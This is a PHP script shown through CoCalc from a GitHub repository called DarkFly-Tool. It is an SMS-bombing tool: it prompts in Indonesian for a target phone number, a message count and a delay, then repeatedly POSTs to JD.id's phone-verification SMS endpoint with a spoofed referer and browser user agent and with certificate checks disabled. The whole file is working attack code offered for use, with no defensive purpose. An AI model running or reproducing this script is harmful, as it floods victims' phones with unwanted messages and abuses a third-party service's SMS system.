Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
Ranginang67
GitHub Repository: Ranginang67/DarkFly-Tool
Path: blob/master/lib/jd.id.php
202 views
1
<?php
2
function jdidbom($no, $jum, $wait){
3
$x = 0;
4
while($x < $jum) {
5
$ch = curl_init();
6
curl_setopt($ch, CURLOPT_URL,"http://sc.jd.id/phone/sendPhoneSms");
7
curl_setopt($ch, CURLOPT_POST, 1);
8
curl_setopt($ch, CURLOPT_POSTFIELDS,"phone=".$no."&smsType=1");
9
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
10
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
11
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
12
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
13
curl_setopt($ch, CURLOPT_REFERER, 'http://sc.jd.id/phone/bindingPhone.html');
14
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36');
15
$server_output = curl_exec ($ch);
16
curl_close ($ch);
17
echo $server_output."\n";
18
sleep($wait);
19
$x++;
20
flush();
21
}
22
}
23
echo "Nomor Target : ";
24
$nomor = trim(fgets(STDIN));
25
echo "Jumlah Pesan: ";
26
$jumlah = trim(fgets(STDIN));
27
echo "Jeda : ";
28
$jeda = trim(fgets(STDIN));
29
$execute = jdidbom($nomor, $jumlah, $jeda);
30
print $execute;
31
?>
32